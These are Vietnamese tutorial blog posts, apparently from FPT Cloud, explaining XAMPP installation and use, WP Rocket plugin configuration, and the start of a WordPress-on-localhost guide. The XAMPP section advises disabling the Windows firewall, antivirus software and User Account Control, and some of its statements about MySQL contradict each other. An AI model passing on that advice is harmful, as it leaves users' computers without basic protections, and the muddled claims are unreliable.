ứng dụng động. PHP là ngôn ngữ lập trình có thể cài đặt trên tất cả các nền tảng, bên cạnh đó có thể hỗ trợ một số hệ thống cơ sở dữ liệu đa dạng. P - Perl - đây là ngôn ngữ kịch bản được dùng trong quản trị hệ thống, quản trị mạng và phát triển web. Perl cho phép người dùng lập trình các ứng dụng web di động. Hiện nay, XAMPP có bốn thông tin cơ bản chính: nhà phân phối, ngôn ngữ lập trình, hệ điều hành và các phiên bản. Vậy cụ thể các thông cơ bản của xampp là gì? Nhà phân phối Thuộc bản quyền của GNU General Public Licence.Được phân phối và phát triển bởi Apache Friends. Ngôn ngữ lập trình Được hình dựa trên sự tích hợp nhiều ngôn ngữ lập trình. Hệ điều hành Ứng dụng được trên 5 hệ điều hành:  Solaris, MacOS, Cross-platform, Linux, Windows. Các phiên bản Phiên bản mới nhất của xampp là 7.2.11, được phát hành vào năm 2018. Có thể bạn quan tâm: IPv6 là gì? Cách đổi IPv4 sang IPv6 & So sánh IPv4 và IPv6 Công dụng của XAMPP XAMPP là phần mềm được sử dụng rộng rãi và phổ biến hiện nay, là phần mềm được nhiều lập trình viên ưa chuộng trong công nghệ và hoàn thành các sản phẩm của mình. Công dụng của XAMPP là gì? [caption id="attachment_16618" align="aligncenter" width="771"] Công dụng của XAMPP[/caption] Được dùng để xây dựng và phát triển website theo ngôn ngữ PHP. Thông qua localhost của máy tính cá nhân, phát triển và nghiên cứu website. Nhờ đó mà có thể biến máy tính cá nhân thành máy chủ, lưu trữ cho máy chủ trang web bằng ổ cứng máy tính. Lưu ý, đối với các website kinh doanh, các website cần vận hành liên tục thì không nên sử dụng XAMPP bởi không khả thi. Lý do là localhost dùng máy tính để làm máy chủ dẫn đến việc duy trì máy chủ không đảm bảo tốc độ và gây khó khăn trong hoạt động. Với các loại hình này, các chủ website sẽ thuê server hosting riêng. XAMPP được ứng dụng rộng rãi từ học tập đến công việc như nâng cấp, thử nghiệm web. Ưu nhược điểm của phần mềm XAMPP Chúng ta đã tìm hiểu về khái niệm XAMPP là gì và công dụng của XAMPP trong thực tế từ công việc đến cuộc sống. Vậy phần mềm XAMPP có ưu điểm, nhược điểm gì? Ưu điểm XAMPP là phần mềm có những ưu điểm nổi trội như sau: Có thể linh hoạt sử dụng trên nhiều hệ điều hành khác nhau như Solaris, MacOS, Cross-platform, Linux, Windows. Mang đến nhiều chức năng hữu ích như lập mail server giả định, lập server giả định, hỗ trợ SSL trên localhost với cấu hình sử dụng đơn giản. XAMPP tích hợp nhiều tính năng đi cùng với các thành phần quan trọng như Apache, PHP, MySql. Điều này có nghĩa là người sử dụng không cần cài đặt riêng lẻ mà chỉ cần có XAMPP bạn sẽ có một website với server hoàn chỉnh. Tạo mã nguồn mở: XAMPP với giao diện quản lý dễ dàng, tiện lợi. Người dùng hoàn toàn chủ động sử dụng trong chế độ khởi động lại hoặc là bật hay tắt đối với máy chủ phù hợp với gian của bạn. [caption id="attachment_16630" align="aligncenter" width="771"] Ưu nhược điểm của XAMPP[/caption] Nhược điểm Bên cạnh những ưu điểm nổi trội, XAMPP cũng tồn tại những nhược điểm nhất định. Cấu hình của XAMPP khá đơn giản, do đó cấu hình nhận được sự hỗ trợ về cấu hình module. Bên cạnh đó, XAMPP không có cả MySQL, mang đến sự bất tiện cho người sử dụng. XAMPP là phần mềm có dung lượng tương đối nặng, lên tới 141Mb. Không có nhiều phiên bản đối với từng phần server như Apache hay PHP mà phải cài đặt riêng. Hướng dẫn cách cài đặt phần mềm XAMPP XAMPP được phần mềm có thể sử dụng trên nhiều hệ điều hành khác nhau với mục đích tạo ra môi trường giả lập server hosting ngay trên máy tính của bạn. Sau đây, chúng tôi sẽ giới thiệu đến bạn cách cài đặt trên hệ điều hành Windows và Linux và một vài lưu ý khi cài đặt. [caption id="attachment_16606" align="aligncenter" width="771"] Cách cài đặt XAMPP[/caption] Cài đặt trên Windows Bước 1: Tải XAMPP về máy tính của bạn. Bước 2: Trong file tải về, chọn file có đuôi .exe. Bước 3: Trên cửa sổ setup, hãy chọn những phần mềm bạn muốn cài đặt và tích chọn vào các phần mềm đó. Ví dụ, bạn muốn cài WordPress trên XAMPP, MySQL, PHPMyAdmin và Apache là phần mềm phải buộc chọn. Sau khi chọn các phần mềm cần cài đặt, chọn Next. Bước 4: Chọn thư mục để cài đặt và nhấn Next. Bước 5: Sau đó, chờ đợi để máy tính bạn cài đặt, sau khi hoàn thành chọn Finish. Cài đặt trên Linux Bước 1: Tải phần mềm XAMPP cho hệ điều hành Linux. Bước 2: Sau khi file được tải về, tìm và chọn file có tên sau trong file cài đặt: xampp-linux-x64-7.2.8-0-installer.run  trong file cài đặt Sau đó, thêm quyền thực thi cho file cài đặt như sau: cd thu_muc_chua_file_cai_dat/ sudo chmod +x xampp-linux-x64-7.2.8-0-installer.run Chọn cài đặt với quyền sudo. sudo ./xampp-linux-x64-7.2.8-0-installer.run Nhấn Next để cài đặt. Bước 3: Sau đó, của số setup hiện ra, tiếp tục chọn Next tại các cửa sổ hiện ra. Bước 4:  Sau đó, chờ đợi để máy tính bạn cài đặt, sau khi hoàn thành chọn Finish. Lưu ý khi cài đặt Trong cài đặt XAMPP trên máy tính của bạn, cần lưu ý một số vấn đề sau đề việc cài đặt được diễn ra thuận lợi và thành công, cụ thể: Bạn phải xóa các phần mềm liên quan đến việc làm của localhost, chẳng hạn như PHP, MySQL.  Lưu ý nếu máy chủ đã cài đặt sẵn IIS, bạn không cần phải cài XAMPP bởi vì IIS đã hỗ trợ các chức năng tương tự XAMPP. Không dùng đồng thời các công cụ tạo localhost. Nếu máy tính bạn có các công cụ tạo localhost, nên gỡ các công cụ này trước khi XAMPP, bởi trong quá trình sử dụng, các phần mềm tạo localhost sẽ gây xung đột với nhau. Sau đây, làm một số phần mềm sẽ gây trở ngại khi sử dụng XAMPP, bạn có thể khắc phục lỗi khi sử dụng như sau:  Máy tính đang cài Skype Khi bạn sử dụng Skype, cổng mạng 80 sẽ bị skype sử dụng. Do đó, bạn có thể thực hiện thao tác như sau: Skype -> Tools -> Connection Options -> và bỏ chọn phần “Use port 80 and 443…..” và chọn một cổng bất kỳ. Thao tác này sẽ giúp bạn có thể sử dụng được XAMPP. Tắt tường lửa Nếu máy tính bạn đang sử dụng hệ điều hành Windows và có cài đặt tường lửa, bạn cần phải tắt cài đặt này và các phần mềm Antivirus khác, bởi các phần mềm có thể chặn cổng 80 hoặc chặn các ứng dụng website trên server, dẫn đến XAMPP không thể hoạt động. Tắt User Account Control Windows User Account Control trên windows thường giới hạn quyền truy cập khi sử dụng và cài đặt XAMPP. Do đó bạn nên tắt User Account Control trước khi cài đặt XAMPP. Hướng dẫn sử dụng phần mềm XAMPP Phần trên chúng ta đã tìm hiểu về hướng dẫn cài đặt XAMPP trên hệ điều hành Windows và Linux và thấy được sử khác biệt về cách thức cài đặt. Cách thức sử dụng phần mềm XAMPP trên hai hệ điều hành này cũng khác nhau.  [caption id="attachment_16614" align="aligncenter" width="771"] Cách sử dụng XAMPP[/caption] Sử dụng trên Windows Để sử dụng XAMPP, chúng ta cần thực hiện các thao tác sau: Khởi động localhost Người dùng khởi động localhost bằng cách truy cập thư mục C:xampp, sau đó mở file xampp-panel.exe. Bảng điều khiển hiện lên, chọn start hai ứng dụng MySQL và Apache để khởi động Webserver. Khi các ứng dụng chuyển qua màu xanh tức là localhost đã khởi động. Các thao tác trên Localhost Cơ chế phân thư mục Mở thư mục C:xampphtdocs, sau đó tạo một thư mục. Website sẽ ở trong một thư mục mới bất kỳ, thư mục chứa website đặt tên tenthumuc. Để chạy chương trình, truy cập vào link C:xampphtdocstenthumuc. Copy một tập tin bất kỳ vào C:xampphtdocstenthumuc. Bạn sẽ thấy  https://localhost/tenthumuc sẽ xuất hiện tên tệp tin vừa copy. Điều này, có thể thấy rằng https://localhost/tenthumuc là tên thư mục gốc của C:xampphtdocstenthumuc. Cơ chế phân chia các đường dẫn trên website sẽ căn cứ vào cấu trúc thư mục và các file trong thư mục đó. Tạo cơ sở dữ liệu mySQL Để tạo một cơ sở dữ liệu MySQL trên localhost, thực hiện các bước sau: Bước 1: Truy cập vào http://localhost/phpmyadmin, sau đó chọn mục Databases. Bước 2: Người dùng sẽ nhập database cần tại ô Database, phần Create database. Trong phần Collation, chọn utf8_unicode_ci, sau đó chọn Create. Bước 3: Bên trái phần menu, database vừa tạo sẽ xuất hiện, quá trình tạo cơ sở dữ liệu SQL được hoàn thành. Sử dụng trên Linux Khởi động XAMPP Trên hệ điều hành Linux, khởi động XAMPP bằng command line bằng cách gõ lệnh sau: sudo /opt/lampp/lampp start Khởi động trình quản lý Gõ lệnh sau: sudo /opt/lampp/manager-linux-x64.run Cách kiểm tra XAMPP cài thành công chưa? Sau khi cài đặt phần mềm XAMPP, nhiều người dùng không biết được rằng liệu mình đã cài đặt XAMPP thành công chưa. Chúng ta có thể kiểm tra cài đặt đặt của XAMPP bằng các bước sau. [caption id="attachment_16610" align="aligncenter" width="771"] Cách kiểm tra cài đặt của XAMPP[/caption] Đầu tiên, vào ô C, mở phần lưu trữ XAMPP và truy cập vào htdocs. Để kiểm tra, lưu các dữ liệu htdocs vào một file tên Test. Sau đó lưu các dữ liệu htdocs vào một file tên Test. Gõ đoạn mã bên dưới vào Notepad: <html>  <head>  <title>PHP-Test</title> </head> <body> <?php echo '<p>Hello World</p>'; ?> </body> </html>  Sau đó lưu dưới đuôi .php và lưu đoạn mã này vào file Test. Bước cuối cùng, vào trình duyệt web  và gõ Localhost / Test / Test.php. Nếu hiện chữ Hello World nghĩa là XAMPP đã được cài đặt thành công. So sánh XAMPP với WAMP XAMPP và WAMP là hai phần mềm tạo môi trường giả lập hosting trên máy tính của bạn. Vậy hai phần mềm này giống nhau và khác nhau như thế nào? Giống nhau Đây là hai phần mềm giả lập server trên localhost. Trên cả hai phần mềm này đều tích hợp các phần khác như Apache, MySQL, PHP cùng với các tính năng nổi bật khác. [caption id="attachment_16626" align="aligncenter" width="771"] So sánh XAMPP với WAMP[/caption] Khác nhau XAMPP WAMP Có thể sử dụng trên nhiều hệ điều hành khác nhau như Linux, MacOS, Windows. Tuy nhiên, các hệ điều hành có cách hiển thị và hoạt động khác nhau. Chỉ sử dụng được trên hệ điều hành Windows 32bit và 64bit. XAMPP không có cấu hình Module và không có cả Version MySQL, tuy nhiên dễ dàng bật các chức năng này. Có cấu hình version MySQL.Có thể bật module của Apache vô cùng dễ dàng. Cấu hình đơn giản, dễ sử dụng với tính tối giản do đó tích hợp ích chức năng. Cấu hình đơn giản, có thể bật tắt PHP dễ dàng, thuận lợi. Dung lượng nặng, lên đến 141Mb Dung lượng nhẹ. Phù hợp với các mã nguồn mở chạy web cần nhiều chức năng. Phù hợp với các mã nguồn mở chạy web không cần quá nhiều chức năng, dễ dàng nâng cấp và backup các version PHP, MySQL, Apache. Có thể bạn quan tâm: Javascript là gì? Kiến thức tổng quan về Javascript từ A - Z Một số câu hỏi thường gặp liên quan đến XAMPP Trong quá trình tìm hiểu và sử dụng XAMPP, có rất nhiều thắc mắc cần được giải đáp làm sao để có thể sử dụng XAMPP hiệu quả. Chúng ta sẽ cùng giải đáp một số câu hỏi thường gặp về XAMPP ở phía dưới nhé! [caption id="attachment_16622" align="aligncenter" width="771"] Một số câu hỏi về XAMPP[/caption] Bitnami For XAMPP là gì? Cách cài đặt Bitnami For XAMPP hay còn có tên gọi khác là Bitnami Modules, được biết đến những ứng dụng mã nguồn mở phổ biến của Bitnami được đóng gói lại. Để tìm kiếm Bitnami For XAMPP, bạn có thể tìm kiếm tại website https://bitnami.com/stack/xampp với hơn 15 gói ứng dụng có sẵn. Một số gói ứng dụng phổ biến như Drupal, OrangeHRM, PrestaShop, WordPress, Joomla!, Drupal. Hosting nào tương thích với XAMPP? Microsoft Azure, Google Cloud Platform và Amazon Web Services là các hosting tương thích với XAMPP. Cách xử lý thời gian trong XAMPP không đúng như thế nào? Để xử lý thời gian không đúng trang XAMPP, hãy truy cập vào User Control Panel đi cùng với điều kiện là bạn phải có tài khoản XAMPP. Hy vọng qua bài viết của FPT Cloud đã giúp bạn tìm hiểu các khái niệm cơ bản về XAMPP như XAMPP là gì, công dụng, các cài đặt, sử dụng và sự khác biệt giữa XAMPP và WAMP. Hy vọng những thông tin trên sẽ giúp bạn dễ dàng cài đặt, sử dụng và cảm nhận XAMPP và có những thành phẩm website tốt nhất cho chính mình. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

WP Rocket là gì? Hướng dẫn cài đặt & cấu hình Plugin WP Rocket

14:47 28/06/2022
Plugin WP Rocket được biết đến là Plugin cho WP (WordPress) tốt nhất 2022. WP Rocket hỗ trợ nhiều tính năng mạnh mẽ giúp chúng ta vận hành trang web mà không cần cài đặt Plugin bổ sung. Tuy nhiên, việc có nhiều tính năng cache đã vô tình khiến cho nhiều người gặp khó khăn khi làm quen với WP. Trong bài viết này, FPT Cloud sẽ hướng dẫn sử dụng WP Rocket chi tiết từ a-z. Vậy còn đợi gì nữa, bạn hãy đọc ngay để có thể vận hành những tính năng của WP Rocket hiệu quả nhất. WP Rocket là gì? WP Rocket là gì? Plugin WP Rocket là Plugin cho WP với nhiều tính năng cache. Hiện tại, đây là Caching Tool mạnh nhất 2022, theo nhận định của các chuyên gia WP. [caption id="attachment_28333" align="aligncenter" width="1002"] Plugin WP Rocket là Plugin cho WP với nhiều tính năng cache[/caption] Plugin này sở hữu những tính năng tối ưu hóa tự động và nhiều lựa chọn được người dùng WordPress (kể cả người mới lẫn các chuyên gia) ưa chuộng. Đặc biệt, WP Rocket plugin còn giúp cho web của bạn tải rất nhanh. Đây là yếu tố quan trọng giúp tăng quá trình chuyển đổi, đồng thời cải thiện hiệu quả thứ hạng SEO.  So với các Plugin khác, WP Rocket có cách cài đặt khá dễ dàng. Tuy nhiên, để sử dụng được bạn phải trả khoản phí khá khá. Cho nên, để dùng WP bạn cần mua bản quyền ở WP-Rocket.me. Single: $49 cho 1 năm hỗ trợ và update 1 trang web. Plus: $99 cho 1 năm hỗ trợ và update 3 trang web Infinite: $249, 1 nă, không giới hạn số lượng hỗ trợ và update trang web. >>> Có thể bạn quan tâm: Hướng dẫn tải Microsoft Team trên máy tính cùng cách đăng ký Lợi ích của Plugin WP Rocket WP Rocket tạo phiên bản cache của web, trong lần truy cập tiếp theo, hệ thống sẽ dùng bản này để phục vụ mọi người. Từ đó giúp cho tốc độ tải web nhanh hơn. Đây hẳn là điều người dùng nào cũng thích, bởi không ai muốn ngồi 3–5 phút để đợi tải website. [caption id="attachment_28335" align="aligncenter" width="889"] WP Rocket cải thiện tốc độ tải web giúp bạn có cơ hội triển khai các chiến lược kinh doanh, Marketing một cách dễ dàng[/caption] Khi tốc độ tải web nhanh giúp bạn có cơ hội tương tác với những người dùng khác. Từ đó, triển khai các chiến lược kinh doanh, Marketing một cách dễ dàng. Hơn nữa, khi tốc độ tải trang nhanh, thứ hạng web của bạn cũng tăng lên đáng kể.   Nếu bạn vẫn còn đắn đo, không biết nên cài WP Rocket hay không, hãy cùng FPT Cloud tìm hiểu ưu - nhược điểm ở nội dung tiếp theo. Ưu, nhược điểm của WP Rocket Plugin  Dưới đây là toàn bộ những ưu điểm và nhược điểm của Plugin  WP Rocket: [caption id="attachment_28337" align="aligncenter" width="1023"] WP Rocket Plugin sử dụng dễ dàng, bạn không cần phải biết quá nhiều code[/caption] Ưu điểm WP Rocket áp dụng những phương pháp tối ưu hóa hiệu suất lên tới 80%. Chúng ta không cần tiến hành cấu hình WP Rocket quá nhiều. Khi kích hoạt, ngay lập tức web sẽ hưởng những lợi ích tuyệt vời sau: Sử dụng dễ dàng, bạn không cần phải biết quá nhiều code. Tốc độ tải web nhanh hơn +40%. Có khả năng tối ưu đa nhiệm Media, Cache, code CSS, font, HTML. Ít xảy ra xung đột với những trang web. Kết hợp tốt với Plugin, Theme hay các nền tảng hosting. Đặc biệt WP Rocket còn có thể liên kết được nhiều Add-on. Điều này giúp cho bạn thuận lợi hơn khi Tracking. Nhược điểm Phổ biến, được sử dụng nhiều như vậy nhưng WP Rocket vẫn có một số nhược điểm như: WP-rocket chỉ tương thích với nền tảng WordPress. Chưa có tính năng chuyển hình ảnh sang đuôi .webp. Nếu thiết lập không chính xác, rất dễ gặp xung đột. Bạn phải trả khoản tiền nhất định để sử dụng Plugin  này. Hướng dẫn cài đặt WP Rocket Cách cài đặt WP Rocket khá đơn giản, bạn chỉ cần thực hiện một số bước sau: Bước 1: Mua và tải WP Rocket tại https://wp-rocket.me/pricing/.  [caption id="attachment_28339" align="aligncenter" width="915"] Mua và tải WP Rocket[/caption] Bước 2: Tiếp hành upload file Plugin  WP Rocket .zip bạn mới tải lên WP. [caption id="attachment_28341" align="aligncenter" width="931"] Upload file Plugin  WP Rocket .zip bạn mới tải lên WP[/caption] Bước 3: Sau đó chúng ta kích hoạt Plugin  WP Rocket là đã có thể sử dụng được rồi, khá đơn giản phải không? Lưu ý: Khi kích hoạt Plugin xong, bạn hãy tiến hành vô hiệu hóa và xóa Plugin hỗ trợ tạo Minify và cache. Tiếp đến để thiết lập các tùy chọn khác, bạn hãy truy cập Settings -> click chọn WP Rocket. Sau khi kích hoạt xong, WP Rocket sẽ tự chạy, chính vì vậy chúng ta sẽ không cần làm thêm gì. Tuy nhiên để có thể tối ưu được plugin  này bạn cần cấu hình WP Rocket. Cách cấu hình WP Rocket Để tăng tốc tải của website, bạn cần cấu hình WP Rocket như sau: Dashboard Bảng điều khiển – Dashboard có những tính năng cơ bản sau: [caption id="attachment_28343" align="aligncenter" width="916"] Cấu hình WP Rocket Dashboard[/caption] Clean cache: Tức là xóa các file cache của web. Preload cache: Tạo file cache mới. Clean OPcache: Tạo CSS mới.  Cache [caption id="attachment_28345" align="aligncenter" width="919"] Cấu hình của cache trên WP Rocket[/caption] Mobile Cache: Bạn hãy bỏ kích hoạt ở mục này, bởi các Theme hầu hết đều có thể phản hồi tốt với điện thoại thông minh. Chúng ta chỉ nên kích hoạt Enable caching for mobile devices nếu đang dùng Plugin riêng để xây phiên bản mobile cho website(Auto Optimize, Touch, Jetpack,…). User Cache: Tiến hành bỏ kích hoạt với blog và trang WordPress thông thường. Nhưng, nếu dùng cửa hàng Woocommerce hay web membership, để khách hàng đều có cache riêng, bạn hãy kích hoạt tính năng này. Cache Lifespan: Tính năng này cho phép người dùng cài thời gian xóa cache cũ và tạo bản mới một cách tự động trên hệ thống. Bạn hãy thiết lập thời gian mặc định là 10 giờ, nhưng để tiết kiệm tài nguyên khi chỉ chạy một website tĩnh, nên đặt sang 24h. Còn nếu như có hosting chất lượng cao, người dùng hãy thiết lập thời gian ít hơn. Tối ưu file (File Optimization) Tối ưu File gồm những tính năng sau: [caption id="attachment_28347" align="aligncenter" width="429"] WP Rocket tối ưu JS và CSS từ cơ bản cho tới nâng cao[/caption] Cấu hình Chi tiết Minify HTML Đây chính là tính năng nén HTML. Optimize Google Fonts Gộp những file Google Fonts lại. Remove query strings from static resources Bỏ query strings ra khỏi file JS và CSS. Minify CSS files Nén các file CSS. Combine CSS files (Enable Minify CSS files to select) Gộp tất cả những file CSS lại. Tính năng này yêu cầu kích hoạt Minify CSS files trước. Nếu website hỗ trợ HTTP/2, bạn không nên bật tính năng này. Excluded CSS Files Bỏ những file CSS bạn không muốn gộp, nén. Điều này giúp giải quyết hiệu quả tình trạng giao diện bị vỡ. Optimize CSS delivery Tối ưu việc hiển thị của file CSS. Việc này giúp chúng ta có thể khắc phục được lỗi CSS chặn hiển thị trên Google PageSpeed Insights. Remove jQuery Migrate Bỏ tệp JS và cải thiện thời gian tải. Minify JavaScript files Đây là tính năng nén file JS. Combine JavaScript files (Enable Minify JavaScript files to select) Gộp các file JS thành một, tuy nhiên trước đó bạn phải kích hoạt Minify JavaScript files. Nếu website hỗ trợ HTTP/2, bạn không nên bật tính năng này. Excluded JavaScript Files Bỏ những file JS bạn không muốn gộp, nén. Điều này giúp giải quyết hiệu quả tình trạng lỗi tính năng và giao diện bị vỡ. Load JavaScript deferred Tối ưu việc hiển thị của file JS. Việc này giúp chúng ta có thể khắc phục được lỗi JS chặn hiển thị trên Google PageSpeed Insights. Safe Mode (recommended) Tính năng này sẽ xuất hiện nếu kích hoạt Load JavaScript deferred. Bạn hãy click vào mục này để load file jQuery trước, hạn chế lỗi tính năng và vỡ giao diện. Media Media giúp kiểm soát cách video, hình ảnh được load trên web. Cụ thể: [caption id="attachment_28349" align="aligncenter" width="736"] Media giúp kiểm soát cách video, hình ảnh được load trên web[/caption] Enable for images: Tức là bật LazyLoad cho hình ảnh. Enable for iframes and videos: Nghĩa là bật LazyLoad cho video và iframe. Disable Emoji: Đây chính là tính năng vô hiệu hóa các biểu tượng cảm xúc trong WP(Emoji). Disable WordPress embeds: Được hiểu là vô hiệu hóa Embed Script. Enable WebP caching: Tính năng này là kích hoạt cache ảnh WebP(tạo hình ảnh WebP). Preload Cache Preload cho biết WP Rocket cần phải duyệt website theo những đường link từ homepage và mọi thứ sẽ được lưu vào cache. Sau đó, plugin sẽ kiểm tra sitemap XML lại để bảo đảm không bỏ lỡ một trang nào. [caption id="" align="aligncenter" width="736"] Preload Cache giúp Plugin WP Rocket kiểm tra sitemap[/caption] Tính năng này cho phép WP Rocket tự động tải trước các nội dung sau khi bạn xuất bản hay update bài đăng mới. Active Preloading: Tức là kích hoạt Preload(tính năng tải trước). Activate sitemap-based cache preloading: Bạn có thể hiểu là kích hoạt Preload theo XML Sitemaps. URLs to prefetch: Nghĩa là tìm nạp trước DNS prefetch, làm cho file nằm ngoài host load nhanh hơn. Bạn chỉ cần nhập vào mục này URL của file muốn prefetch. Những thiết lập này cho phép trang của bạn hiển thị văn bản tới người dùng trong thời gian nhanh nhất. Advanced Rules Phần này dành cho trang nâng cao hoặc website e-commerce. Chính vì vậy, nếu bạn đang vận hành web thông thường, không cần thay đổi thiết lập nào trong Advanced Rules. [caption id="" align="aligncenter" width="768"] Cấu hình Advanced Rules[/caption] Never Cache URL(s): Chính là điền những URL không muốn cache. Never Cache Cookies: Tức là điền ID của cookies bạn không muốn cache. Never Cache User Agent(s): Tại đây bạn hãy điền chuỗi của các user agent mình không muốn cache. Always Purge URL(s): Bạn hãy điền URL muốn xóa cache khi tải hoặc update bài viết. Cache Query String(s): Nghĩa là bạn hãy điền query string mình đang muốn cache. Database Việc dọn dẹp Database có thể giúp website tăng tốc đáng kể. Tuy nhiên, trước khi bật Database, bạn cần Backup dữ liệu để tránh phát sinh lỗi ngoài ý muốn.  [caption id="" align="aligncenter" width="768"] Dọn dẹp Database giúp website tăng tốc đáng kể[/caption] Dưới đây là những Option chúng ta nên cân nhắc: Revisions: Tức là xóa những bản sửa đổi. Auto Drafts: Xóa bản nháp lưu tự động. Trashed Posts: Xóa bài viết rác tại Trash. Spam Comments: Nghĩa là xóa những bình luận spam. Trashed Comments: Xóa bình luận rác tại Trash. Expired transients: Xóa Transient hết hạn. All transients: Xóa mọi Transient. Optimize Tables: Tối ưu bảng tại Database. Schedule Automatic Cleanup: Tức là thiết lập dọn dẹp Database hàng ngày, tuần hoặc tháng. >>> Có thể bạn quan tâm: Hướng dẫn tạo Email trên điện thoại Iphone và Android CDN Settings Đây là hệ thống cho phép tải web đến người dùng trong thời gian nhanh chóng. Plugin WP Rocket cho phép có thể kết nối CDN hiện có, hoặc dùng Rocket CDN. [caption id="" align="aligncenter" width="740"] Cấu hình CDN Settings[/caption] Enable Content Delivery Network: Nếu website sử dụng CDN(KeyCDN, MaxCDN…) bạn hãy kích hoạt tính năng này. Không cần bật khi trang dùng CloudFlare. CDN CNAME(s): Bạn hãy điền link CDN. Ngoài ra bạn có thể chọn tùy chọn cho phép chạy chỉ hình ảnh, toàn bộ file, CSS và JS, chỉ CSS hoặc chỉ JS trên CDN. Exclude files from CDN: Tiến hành điền URL của file không muốn chạy trên CDN. Heartbeat Heartbeat giúp đổi thay được cấu trúc của trang web. Vì thế khi dùng chức năng này bạn nên cân nhắc cẩn thận. [caption id="" align="aligncenter" width="744"] Heartbeat giúp đổi thay được cấu trúc của trang web[/caption] Control Heartbeat: Vô hiệu hóa hoặc giảm hoạt động API, giúp hạn chế việc dùng tài nguyên trên máy chủ. Behavior in backend: Đây chính là giao diện quản trị. Behavior in post editor: Tức là công cụ soạn thảo. Behavior in frontend: Bạn có thể hiểu là giao diện cho người dùng. Reduce activity: Nghĩa là giảm hoạt động(nên dùng). Do not limit: Tức là không giới hạn. Disable: Đây chính là tính năng vô hiệu hòa. Add-Ons Plugin WP Rocket hỗ trợ nhiều add-on để mở rộng các chức năng của trang web: Google Analytics: Chức năng này cho phép trang chủ những script tiến hành phân tích Google trên máy cục bộ. Việc này giúp website tăng tốc độ, đồng thời hạn chế lỗi “leverage browser caching” tại Google Page Speed Insights. Facebook Pixel: Cũng tương tự như trên, tuy nhiên cho phép chúng ta có thể lưu trữ được Facebook pixel ở server cục bộ. Varnish – Add-on: Nếu dùng Varnish cache(Flywheel, Cloudways, WPEngine), bạn nên sử dụng tính năng này. CloudFlare: Tính năng cho phép người dùng có thể kết nối WP Rocket qua CloudFlare CDN. Sucuri: Tức là khi xóa cache WP Rocket, đồng thời cache của Sucuri cũng sẽ bị xóa. Tối ưu hình ảnh Imagify (tối ưu hình ảnh) là Plugin có thể tối ưu hóa được hình ảnh cực tốt. Không những vậy với WP Rock, tính năng này còn hoạt động khá ổn định. Tools Đây chính là công cụ được WP Rocket cung cấp sẵn để quản lý Plugin dễ dàng hơn: [caption id="" align="aligncenter" width="741"] Cấu hình Tools[/caption] Export settings: Bạn có thể download file với cấu hình plugin WP Rocket về PC. File này được dùng để thiết lập Plugin  WP Rocket nhanh hơn trên những trang website khác. Import settings: Cập nhật file cấu hình WP Rocket từ PC lên. Rollback: Cho phép hạ cấp Wprocket về bản cũ hơn khi bản hiện tại không tương thích với web hoặc bị lỗi. Save Changes: Lưu toàn bộ những thiết lập. Trên đây chính là khái niệm về WP Rocket và hướng dẫn cài đặt & cấu hình Plugin  WP Rocket chi tiết nhất. Như đã nói, WP Rocket chính là Plugin quan trọng có khả năng hỗ trợ tăng tốc độ tải website, đồng thời giúp trang thân thiện hơn với người dùng và những công cụ tìm kiếm.  Hy vọng chia sẻ trên đã giúp bạn biết được cách vận hành những tính năng của Plugin WP Rocket hiệu quả nhất. Bạn đừng quên theo dõi FPT Cloud để cập nhật nhiều thông tin hữu ích khác. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

WordPress Localhost là gì? Hướng dẫn cách cài đặt chi tiết

09:11 13/05/2022
WordPress Localhost là gì? Công cụ và phương thức cài đặt có thực sự đem lại hiệu quả công việc? Đây là câu hỏi quan trọng, cần hiểu rõ đối với những ai đang vận hành website. Bạn sẽ có lời giải đáp dễ hiểu nhất, phá vỡ mọi hoài nghi thông qua bài viết của FPT Cloud. Khi đã có kiến thức nền tảng, quý bạn đọc sẽ chuyển sang nghiên cứu cách cài đặt WordPress trên Localhost. Phần cuối cung cấp hướng dẫn làm sao để gỡ bỏ khi không cần dùng nữa. Hãy tham khảo ngay để mở ra kho tàng tính năng hỗ trợ công việc và học tập nhé! WordPress Localhost là gì? WordPress Localhost làm cụm từ được ghép lại từ hai thuật ngữ. Để hiểu một cách tường tận nhất, bạn nên đi sâu vào khái niệm của từng phần. Qua đó sẽ thấy sự kết hợp của hai yếu tố này đem đến sức mạnh tổng thể to lớn. WordPress là gì? WordPress là một phần mềm có hình thức hoạt động mã nguồn mở, được lập trình bằng ngôn ngữ PHP. Nhà phát triển ưu tiên sử dụng hệ quản trị cơ sở dữ liệu MySQL. Đây được đánh giá là bộ đôi phổ biến nhất trong thiết lập nền tảng web hiện nay. [caption id="attachment_26212" align="aligncenter" width="800"] Trước khi vào vào hướng dẫn thiết lập cần hiểu khái niệm WordPress Localhost[/caption] Chắc hẳn sẽ còn nhiều người xa lại với khái niệm về Local WordPress Hosting. Thế nhưng, khi nhắc riêng lẻ đến WordPress, hầu hết ai cũng biết những chức năng tuyệt vời. Công cụ hỗ trợ xây dựng Blog cá nhân, website tin tức, thương mại,… Theo nghiên cứu và khảo sát, WordPress đã chiếm một thị phần rất lớn người dùng. Trong số đó có không ít website nổi tiếng ưu tiên sử dụng. Kết quả này có được nhờ khả năng tùy biến cực kì mạnh mẽ, thiết kế tối ưu cho cả người dùng phổ thông. >>> Có thể bạn quan tâm: Blog là gì? Hướng dẫn chi tiết cách tạo Blog cá nhân miễn phí Localhost là gì? Localhost được hiểu là dịch vụ hosting thực hiện ngay trên máy tính của bạn. Để dễ nhớ, bạn có thể hiểu như sau: [caption id="attachment_26216" align="aligncenter" width="800"] WordPress Localhost cho phép khai thác dịch vụ hoàn toàn miễn phí[/caption] - Local: Máy tính của bạn. - Host: Máy chủ. Như đã biết, để khởi chạy một website bạn cần mua tên miền và thuê hosting. Với Localhost WordPress, bạn được sử dụng cả hai tùy chọn này hoàn toàn miễn phí. Hình thức hoạt động tương tự như một gói lưu trữ. Tuy nhiên, thay vì sử dụng hosting ảo, máy tính cục bộ của chính bạn sẽ hoạt động như thiết bị lưu trữ. Bạn cần sử dụng phần mềm của bên thứ ba xây dựng và phát hành. Nó tạo ra môi trường để cài WordPress lên Host. Giả sử, bạn cài WordPress trên Xampp thông qua PC của mình. Điều này sẽ tạo ra môi trường tương tự như lưu trữ ảo. Sau đó, bạn dễ dàng thiết lập WordPress Localhost tương tự như gói dịch vụ cao cấp. Tại sao cần cài đặt WordPress trên Localhost? 